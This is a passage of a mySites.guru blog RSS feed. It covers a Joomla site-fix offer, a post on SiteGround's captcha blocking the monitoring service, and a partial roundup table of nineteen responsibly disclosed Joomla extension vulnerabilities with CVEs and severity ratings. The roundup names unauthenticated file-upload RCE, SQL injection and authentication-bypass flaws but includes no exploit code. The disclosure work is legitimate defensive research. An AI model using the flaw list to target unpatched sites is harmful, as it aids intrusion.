  &lt;p&gt;Please send me your complete site details, including FTP, using the form at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; and I&apos;ll happily take a look. Set fees apply. Skip the troubleshooting and get your site fixed today.&lt;/p&gt;
  &lt;p&gt;Phil Taylor, the mySites.guru founder, has resolved thousands of Joomla and WordPress issues. Most fixes are completed within the hour, and at the latest the same day.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;span&gt;✓&lt;/span&gt; Same-day resolution guaranteed&lt;/li&gt;
    &lt;li&gt;&lt;span&gt;✓&lt;/span&gt; Fixed price, no surprises&lt;/li&gt;
    &lt;li&gt;&lt;span&gt;✓&lt;/span&gt; No fix? No fee!&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
    &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;Fix my site for GBP 120 →&lt;/a&gt;
  &lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;JoomShaper&apos;s announcement that it has dropped Joomla 3 support&lt;/a&gt; - the vendor&apos;s own statement, including the &quot;no security patches, regardless of severity&quot; line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48908&quot;&gt;CVE-2026-48908 on the NVD&lt;/a&gt; - the SP Page Builder unauthenticated file-upload flaw, rated CVSS 10.0.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;The Joomla 3.10.999 project on GitHub&lt;/a&gt; - the community-sourced backported core patches the core patch tool draws from.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_release_cycle&quot;&gt;Joomla&apos;s official end-of-life policy&lt;/a&gt; - where Joomla 3 sits in the support timeline and why.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>end-of-life</category><category>joomshaper</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/patch-abandoned-joomshaper-joomla-3-extensions.Ckw2Uu3l.png" length="0" type="image/png"/></item><item><title>SiteGround&apos;s Captcha Is Blocking mySites.guru - again</title><link>https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/</guid><description>SiteGround&apos;s Anti-Bot AI serves mySites.guru&apos;s worker a 202 captcha challenge instead of your site. Here&apos;s how to spot it and get our IP whitelisted.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru connects to every site you add and runs &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, backups, extension updates, and &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime checks&lt;/a&gt; against it. To do that, it has to reach your site over the internet the same way a browser does. On SiteGround-hosted sites, every so often, it can&apos;t. SiteGround&apos;s Anti-Bot AI decides our server looks like a bot and hands it a captcha challenge instead of your actual site.&lt;/p&gt;
&lt;p&gt;When that happens, an audit stalls, a backup won&apos;t start, or an uptime check reports your site as unreachable, while the site loads perfectly in your own browser. Nothing is wrong with your site, and nothing has changed on our side. Our worker connects from the same published IP address it has used for over a decade. SiteGround has simply decided, for a while, to block it. That is a SiteGround decision, made on SiteGround&apos;s servers, and only SiteGround can undo it.&lt;/p&gt;
&lt;p&gt;This is not new, and it is not unique to us. It happens to every management and monitoring platform that talks to SiteGround-hosted sites. Here is what the block looks like, why an automated service can&apos;t just click through the captcha, and the exact support request that clears it.&lt;/p&gt;
&lt;h2&gt;What SiteGround&apos;s Captcha Actually Does&lt;/h2&gt;
&lt;p&gt;SG-Captcha is part of SiteGround&apos;s Anti-Bot AI, a system that sits in front of every hosted site and tries to separate human visitors from automated ones. When it flags a request as a bot, it does not serve the page. It serves a captcha challenge instead, on the theory that the traffic might be a brute-force or denial-of-service attempt.&lt;/p&gt;
&lt;p&gt;For a person in a browser, this is nearly invisible. The browser receives the challenge, runs the JavaScript, follows the redirect, and loads the real page a moment later. For anything that is not a full browser, an uptime monitor, a security scanner, an API client, or a management platform like mySites.guru, the challenge is a dead end. The client asks for your page and gets a redirect to a captcha it has no way to solve.&lt;/p&gt;
&lt;p&gt;The Anti-Bot AI itself is not new. What changed is how aggressively it escalates to a full captcha challenge against automated clients, which is when legitimate tools started getting caught in it.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is Not the Threat Here&lt;/h2&gt;
&lt;p&gt;mySites.guru is exactly the kind of automated client the Anti-Bot AI should never be challenging:&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;
    &lt;p&gt;
      &lt;span&gt;mySites.guru is a reputable, long-standing service, connecting from the same IP address to hundreds of thousands of sites.&lt;/span&gt;
      &lt;span&gt;We are not new, malicious, or scary.&lt;/span&gt;
    &lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/figure&gt;
&lt;p&gt;We have run from the same published IP address for over a decade. We are not the kind of attack traffic the Anti-Bot AI exists to stop. We are simply automated, and automation is all the AI sees before it puts up the wall.&lt;/p&gt;
&lt;p&gt;Because that one address connects to so many sites, the damage is never limited to a single domain. When SG-Captcha decides it does not like mySites.guru, thousands of customer sites are blocked at the same moment. Every owner sees a failed check at once, and a wave of support tickets arrives here, for a block we did not cause and cannot lift.&lt;/p&gt;
&lt;h2&gt;How Do You Know SiteGround Is Blocking mySites.guru?&lt;/h2&gt;
&lt;p&gt;The signature is an HTTP 202 response with an &lt;code&gt;sg-captcha: challenge&lt;/code&gt; header, where you would normally expect a 200 and your page. A quick &lt;code&gt;curl&lt;/code&gt; against the affected site shows it plainly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/2 202
server: nginx
content-type: text/html
content-length: 166
sg-captcha: challenge
x-robots-tag: noindex
set-cookie: nevercache-b39818=Y;Max-Age=-1
cache-control: no-store,no-cache,max-age=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The body is a tiny HTML page that redirects to the challenge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;link rel=&quot;icon&quot; href=&quot;data:;&quot;&amp;gt;
    &amp;lt;meta http-equiv=&quot;refresh&quot;
          content=&quot;0;/.well-known/sgcaptcha/?r=%2F&amp;amp;y=ipr:178.62.5.35:...&quot;&amp;gt;
    &amp;lt;/meta&amp;gt;
  &amp;lt;/head&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two things give it away. The &lt;code&gt;sg-captcha: challenge&lt;/code&gt; header is SiteGround telling you exactly which system is intercepting the request. And the redirect target, &lt;code&gt;/.well-known/sgcaptcha/&lt;/code&gt;, carries &lt;code&gt;ipr:178.62.5.35&lt;/code&gt;, the IP address being challenged. That is our main worker&apos;s address. So this is not a general site fault. SiteGround is specifically holding a captcha in front of the address mySites.guru connects from.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;x-robots-tag: noindex&lt;/code&gt; on that response matters too, and we come back to it below.&lt;/p&gt;
&lt;h2&gt;Why Can&apos;t mySites.guru Just Solve the Captcha?&lt;/h2&gt;
&lt;p&gt;Because it is a service, not a browser. mySites.guru connects to your site as a headless client to fetch files, read versions, and check that the site is up. There is no browser window, no user, and no JavaScript engine sitting there to run a proof-of-work challenge and click through a redirect loop. It asks for your page over HTTPS and expects your page back.&lt;/p&gt;
&lt;p&gt;Even if it could solve the challenge once, that would not fix the problem. Solving SiteGround&apos;s captcha issues a short-lived session cookie to the browser that solved it. Requests carrying that cookie get through; requests from the same IP without it are challenged again. Our worker does not carry a browser session from one request to the next, so it would be challenged over and over. The only durable fix is to stop challenging our IP address in the first place.&lt;/p&gt;
&lt;h2&gt;Only SiteGround Can Fix This&lt;/h2&gt;
&lt;p&gt;Before the how-to, here is the single most important point, because it saves you contacting the wrong people:&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;This is not a mySites.guru issue to solve. This is a SiteGround issue, and only they can solve it.&lt;/blockquote&gt;
&lt;/figure&gt;
&lt;p&gt;The block is made by SiteGround&apos;s Anti-Bot AI, on SiteGround&apos;s servers. mySites.guru cannot switch it off, allowlist itself, or change anything on our side to stop it, and neither can our support team. The exemption can only be added inside SiteGround&apos;s own infrastructure, so the request has to go to SiteGround.&lt;/p&gt;
&lt;h2&gt;How Do You Get the Block Removed?&lt;/h2&gt;
&lt;p&gt;The fix is a support ticket to SiteGround, asking them to whitelist the mySites.guru IP addresses in their Anti-Bot AI. There is no self-service toggle for this. SiteGround&apos;s own captcha article explains what the challenge is, but it does not give you a way to exempt a service you trust, so the exemption has to come from their support team.&lt;/p&gt;
&lt;p&gt;These are the two addresses to give them. Both are published at &lt;a href=&quot;https://manage.mysites.guru/ips&quot;&gt;manage.mysites.guru/ips&lt;/a&gt; and have not changed in over ten years:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;IP addresses to whitelist:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;code&gt;178.62.5.35&lt;/code&gt; - audits, backups, updates, and the connector&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;165.227.239.229&lt;/code&gt; - uptime monitoring&lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;manage.mysites.guru/ips&lt;/code&gt; page above is a public, static URL, so it is safe to paste into a support ticket for your host to read. If you are signed in to mySites.guru, the &lt;a href=&quot;https://manage.mysites.guru/faq/ips&quot;&gt;IP addresses help page&lt;/a&gt; in your account has more detail on connection issues and what to send your host.&lt;/p&gt;
&lt;p&gt;Copy this straight into the ticket and fill in your domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Subject: Please whitelist two IPs in your Anti-Bot AI / SG-Captcha

Hello,

I use mySites.guru, a third-party service, to manage and monitor my
website hosted with you. Its servers are currently being served a 202
SG-Captcha challenge instead of my site, which stops the service from
reaching it.

Please permanently whitelist these two IP addresses so requests from
them are never challenged by your Anti-Bot AI / SG-Captcha:

  178.62.5.35
  165.227.239.229

These are the fixed, published outgoing IPs for mySites.guru and have
not changed in over a decade. You can verify them here:
https://manage.mysites.guru/ips

Please confirm both addresses are exempt from the Anti-Bot AI itself,
not only added to the Blocked Traffic list in Site Tools.

Affected domain: &amp;lt;add your domain&amp;gt;

Thank you.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That last line about the Blocked Traffic list matters. That list in Site Tools is a separate feature for your own manual IP blocks, and it does not control which clients the Anti-Bot AI decides to challenge, so adding our IPs there alone will not stop the captcha.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning: the block can hurt your Google ranking&lt;/p&gt;
  &lt;p&gt;The captcha challenge is served with a noindex tag. If SiteGround challenges Googlebot the same way it challenges us, Google receives a noindex page instead of your content and can drop those URLs from its index until the block is lifted. Site owners have watched pages drop out of Google for exactly this reason, so it is worth fixing even if you do not use a monitoring service.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;You Are Not the Only Service Being Blocked&lt;/h2&gt;
&lt;p&gt;This matters, because when a check fails the natural assumption is that something is wrong with mySites.guru. It isn&apos;t. SiteGround&apos;s Anti-Bot AI blocks third-party platforms by design, and the same 202 captcha challenge has been reported by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MainWP, a rival WordPress management dashboard, whose users get the identical HTTP 202 on connection and whose documented fix is, word for word, to ask SiteGround support to whitelist the dashboard&apos;s IP.&lt;/li&gt;
&lt;li&gt;Googlebot, which has been served the noindex challenge and de-indexed pages as a result.&lt;/li&gt;
&lt;li&gt;Uptime monitors and security scanners generally, which look like repeated automated hits and get challenged the same way.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is not even unique to SiteGround. Cloudflare&apos;s Bot Fight Mode has blocked Sucuri&apos;s malware scans, and every serious anti-bot system, Cloudflare and DataDome included, ships a verified-bot allowlist precisely because blunt bot-blocking catches legitimate services. The difference is whether the allowlist is something you can manage yourself or something you have to request one ticket at a time. On SiteGround, for now, it is the ticket.&lt;/p&gt;
&lt;h2&gt;Fifteen Years With SiteGround&lt;/h2&gt;
&lt;p&gt;There is some history here I should be honest about. To their credit, SiteGround has stayed independently owned since 2004, while much of the hosting market was rolled up under a handful of conglomerates. In mySites.guru&apos;s early years, SiteGround&apos;s own founders were paying subscribers of the service, for many years, and gave us genuine hands-on help getting it running well on their shared hosting. That relationship mattered, and it is part of why the tool performs the way it does on shared hosts today.&lt;/p&gt;
&lt;p&gt;What has faded is the direct line. As a host grows, first-line support gets further from the engineers, and the practical result for anyone integrating with the platform is that there is no proactive way to keep a known-good service allowlisted. The Anti-Bot AI does its job, occasionally decides a decade-old, published, fixed IP is a threat, and the only route back is a per-customer support request. We have tried over the years to set up a standing allowlist so our customers never see this, without success, which is why the workaround still falls to you rather than to us.&lt;/p&gt;
&lt;p&gt;None of that is a reason to leave SiteGround. It is a good host. But if you run sites there and use any external tool to manage or monitor them, this is a periodic tax you should know how to pay quickly. mySites.guru works with &lt;a href=&quot;https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/&quot;&gt;any site it can reach&lt;/a&gt;, across &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;hundreds of sites from one dashboard&lt;/a&gt;, and a two-minute support ticket is usually all it takes to get us reaching yours again.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.siteground.com/kb/seeing-captcha-website/&quot;&gt;SiteGround: I am seeing a CAPTCHA page on my website&lt;/a&gt; - SiteGround&apos;s own explainer for the Anti-Bot AI captcha.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.mainwp.com/t/siteground-captcha-causing-connectivity-issues-with-mainwp-dashboard-http-202-accepted/10329&quot;&gt;MainWP community: SiteGround captcha causing connectivity issues (HTTP 202)&lt;/a&gt; - the same block hitting another management platform, with the whitelist fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vocationalmedia.com/blog/phantom-noindex-tag-siteground-captcha/&quot;&gt;Phantom noindex tag from SiteGround&apos;s captcha&lt;/a&gt; - a first-hand account of the de-indexing side effect.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/waf/troubleshooting/fake-bot-managed-rules/&quot;&gt;Cloudflare: verified bots and false positives&lt;/a&gt; - how a major anti-bot system handles the same problem with an allowlist.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>hosting</category><category>monitoring</category><category>firewalls</category><category>uptime</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/siteground-captcha-blocking-mysites-guru.4doDX0B2.png" length="0" type="image/png"/></item><item><title>Nineteen and Counting: Joomla Extension Vulnerabilities We Found and Disclosed in a Month</title><link>https://mysites.guru/blog/a-month-of-joomla-security-disclosures/</link><guid isPermaLink="true">https://mysites.guru/blog/a-month-of-joomla-security-disclosures/</guid><description>In just over a month mySites.guru found and responsibly disclosed nineteen security issues in popular Joomla extensions, most of them critical. Here is the full roundup and what to do about it.</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Between mid-June and late July 2026, mySites.guru found and responsibly disclosed &lt;strong&gt;nineteen separate security vulnerabilities across seventeen popular Joomla extensions&lt;/strong&gt;. Most were critical. Five rated the maximum CVSS 4.0 score of 10.0. Several were being exploited in the wild within hours of the fix going public. Every one was reported privately to the vendor first, and all nineteen now have a vendor fix out.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;19&lt;/span&gt;
      &lt;span&gt;and counting&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;Updated 23 July 2026&lt;/p&gt;
      &lt;p&gt;When we published this, the number was twelve. It has not stopped climbing since. The now-public &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt; finding, plus &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt; authentication bypass took it to sixteen, and the three &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt; flaws took it to nineteen. The &quot;and counting&quot; was never a figure of speech.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Found, reported and fixed by mySites.guru&lt;/p&gt;
  &lt;p&gt;Every one of these was found, researched, privately disclosed, coordinated to a fixed release and written up by us, here at mySites.guru. This is what improving the Joomla ecosystem looks like from the inside: one report at a time. In the short term it is a headache for some Joomla admins, no question, but the whole ecosystem is in better shape for it. The people who run their sites through mySites.guru got the heads-up first wherever a coordinated timeline allowed, plus the exhaustive toolset to find and fix every affected site fast.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is the roundup: what each flaw was, the version that fixes it, and the pattern connecting almost all of them. If you run Joomla, treat the table below as your update list.&lt;/p&gt;
&lt;p&gt;A quick apology before you dive in: this post got waaay too long. We will be slicing it into shorter, single-point pieces in future posts, but we have a lot of information coming out soon and wanted to get it all down in one place first.&lt;/p&gt;
&lt;h2&gt;Why we went looking&lt;/h2&gt;
&lt;p&gt;This whole run started with an argument. A friend (Yes I have friends, despite what people think haha), in the aftermath of the JCE hack, put it to me that Joomla extensions were simply more secure than WordPress plugins. I told him that was the wrong conclusion. The gap is not security, it is attention.&lt;/p&gt;
&lt;p&gt;The WordPress ecosystem pays people to find plugin bugs. There are bounty programs, Wordfence and others compensate researchers for reports, and there is even a black market that will buy a working plugin exploit. That money pulls a large, constant crowd of skilled eyes onto WordPress plugins. Joomla has almost none of that. The extensions are not audited less because they are safer, they are audited less because there is no reward for doing it. The bugs sit there undiscovered, which reads as &quot;secure&quot; right up until someone bothers to look.&lt;/p&gt;
&lt;p&gt;So I bothered to look.&lt;/p&gt;
&lt;p&gt;Reading the actual source of the extensions our customers run, I was finding &lt;strong&gt;one to two critical or high-severity unauthenticated remote code execution flaws every single day, for over a week&lt;/strong&gt;. Not obscure edge cases. Anonymous, upload-a-PHP-file-and-run-it flaws, in some of the most widely deployed extensions in the ecosystem.&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;
    &lt;p&gt;
      &lt;span&gt;The vulnerabilities were always there.&lt;/span&gt;
      &lt;span&gt;The difference this month is that somebody was finally looking.&lt;/span&gt;
    &lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/figure&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It started as an argument: a friend claimed Joomla extensions were more secure than WordPress plugins. They are not, &lt;strong&gt;nobody looks&lt;/strong&gt; because there is no bounty money in Joomla. So we looked&lt;/li&gt;
&lt;li&gt;Looking turned up &lt;strong&gt;one to two critical or high unauthenticated RCE flaws every day for over a week&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;In about five weeks, mySites.guru found and responsibly disclosed &lt;strong&gt;nineteen Joomla extension vulnerabilities&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Nine were &lt;strong&gt;file upload&lt;/strong&gt; flaws leading to remote code execution or arbitrary file write, five were &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt;, one an &lt;strong&gt;unauthenticated authentication bypass&lt;/strong&gt; to Super User, one an &lt;strong&gt;unauthenticated write to stored XSS&lt;/strong&gt;, one an &lt;strong&gt;unauthenticated file write and delete&lt;/strong&gt;, one an &lt;strong&gt;unauthenticated order and payment forgery&lt;/strong&gt;, and one a &lt;strong&gt;cross-customer order and invoice data leak&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Five scored CVSS 10.0&lt;/strong&gt;: PageBuilder CK, SP Page Builder, Balbooa Forms, RSFiles! and Gridbox&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All nineteen are now patched&lt;/strong&gt; - get onto the fixed versions in the table now&lt;/li&gt;
&lt;li&gt;Almost all shared one root cause: a &lt;strong&gt;public front-end endpoint that trusted anonymous input&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site still on a vulnerable version, automatically&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Every vulnerability in this post was reported privately to its vendor first. We publish full detail after the patch, not before: all nineteen are now fixed, so you get the whole story, and while any was still in disclosure we described the risk but withheld the name and the exploit until its fix shipped. The point is to get sites updated, never to hand attackers a recipe.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The vulnerabilities we found in a single month&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Flaw&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;th&gt;Our write-up&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RSFiles!&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Balbooa Forms&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PageBuilder CK&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SP Page Builder&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gridbox&lt;/td&gt;
&lt;td&gt;Unauthenticated authentication bypass to Super User&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61425&quot;&gt;CVE-2026-61425&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iCagenda&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48939&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EasyStore&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65761&quot;&gt;CVE-2026-65761&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EasyStore&lt;/td&gt;
&lt;td&gt;Cross-customer order and invoice disclosure&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65760&quot;&gt;CVE-2026-65760&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;9.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phoca Download&lt;/td&gt;
&lt;td&gt;Authenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;9.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DJ-Classifieds&lt;/td&gt;
&lt;td&gt;Unauthenticated file upload&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61424&quot;&gt;CVE-2026-61424&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jDownloads&lt;/td&gt;
&lt;td&gt;Unauthenticated file upload&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61900&quot;&gt;CVE-2026-61900&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AcyMailing&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DPCalendar&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDocman&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57832&quot;&gt;CVE-2026-57832&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
